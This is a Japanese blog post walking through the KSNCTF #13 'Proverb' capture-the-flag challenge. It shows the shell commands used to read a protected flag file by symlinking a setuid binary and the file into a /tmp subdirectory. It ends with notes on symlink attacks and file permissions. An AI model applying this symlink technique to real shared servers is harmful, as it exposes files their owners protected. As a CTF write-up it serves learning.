sekai013's blog

JavaScriptとかを勉強する

KSNCTF #13 Proverb

問題

ksnctf - 13 Proverb

考えたこと

思考停止でいけるところまでいく

% ssh q13@ctfq.sweetduet.info -p 10022

[q13@localhost ~]$ ls -a
.  ..  .bash_logout  .bash_profile  .bashrc  flag.txt  proverb  proverb.txt  readme.txt

[q13@localhost ~]$ cat flag.txt 
cat: flag.txt: 許可がありません

[q13@localhost ~]$ cat readme.txt 
You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

[q13@localhost ~]$ ./proverb 
Ignorance is bliss.

readme の内容は多分前にも見た。なにかやるなら /tmp 以下でやれというやつ。
proverb というやつを実行すると英語出てきた。bliss というのは幸福という意味で、知らぬが仏に近い英語のことわざらしい。 proverb なるほど。

[q13@localhost ~]$ ./proverb 
Blood is thicker than water.

もう一回実行したら変わった。血は水よりも濃い。知らなかったのでググった。なるほど。

血は水よりも濃い - 故事ことわざ辞典

proverb.txt を見てみるとことわざっぽいのがいろいろ書いてあったので、proverb はここから1行ランダムに出力してるっぽい。

[q13@localhost ~]$ mv flag.txt proverb.txt 
mv: try to overwrite `proverb.txt', overriding mode 0444 (r--r--r--)? n

読んだばっかりの readme を忘れてた。

[q13@localhost ~]$ cp proverb /tmp/proverb
cp: `proverb' と `/tmp/proverb' は同じファイルです

[q13@localhost ~]$ cp flag.txt /tmp/proverb.txt
cp: `flag.txt' を 読み込み用でオープンできません: 許可がありません

[q13@localhost ~]$ mv flag.txt /tmp/proverb.txt
mv: try to overwrite `/tmp/proverb.txt', overriding mode 0644 (rw-r--r--)? y
mv: cannot move `flag.txt' to `/tmp/proverb.txt': 許可がありません

パーミッションがないので旗のほうをコピーできない。でも /tmp/ 内に proverb.txt というファイルがあるらしい。

[q13@localhost ~]$ cd /tmp
[q13@localhost tmp]$ ./proverb
Please make your own subdirectory.

なるほど。

[q13@localhost tmp]$ mkdir mytmp
[q13@localhost tmp]$ cd mytmp

困ったのでググったら symlink を張れって書いてあったので張ったら読めた。

[q13@localhost mytmp]$ ln -s ~/proverb proverb [q13@localhost mytmp]$ ln -s ~/flag.txt proverb.txt [q13@localhost mytmp]$ ./proverb FLAG_****************

思ったこととか

とにかく symlink を張れとしか書いてなかったので調べてみたらこんな記事見つけた。

ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策 | 徳丸浩の日記

これはレンタルサーバの問題らしいけど似たような感じがする。

[q13@localhost ~]$ ls -l
合計 28
-r-------- 6 q13a q13a    22  61 05:21 2012 flag.txt
---s--x--x 7 q13a q13a 14439  61 04:59 2012 proverb
-r--r--r-- 1 root root   755  61 04:58 2012 proverb.txt
-r--r--r-- 1 root root   151  61 04:48 2012 readme.txt

flag.txt は所有者だけ読みこみ可能になってるけど、 proverb の所有者もユーザ q13 だから読み込めるということなんだろうか。 調べるのはむずそうだったので試してみた。

% echo 'this is test' > text
% ruby read.rb
this is text
% chmod 044 text
% ruby read.rb
read.rb:1:in 'read': Permission denied @ rb_sysopen - text (Errno::EACCES)
% sudo useradd hoge
% sudo chown hoge text
% ruby read.rb
this is text
# read.rb
begin
    text = File.read 'text'
    puts text
rescue => e
    puts e
end

どうやらそうっぽい気がするような感じがする(?)

今まで何も考えず mv とか cp 使ってたけど、こういうコマンドには対象のファイルとか親ディレクトリのパーミッションが関わってくるらしい。
言われてみれば当然という感じがする。なるほどという感じだった。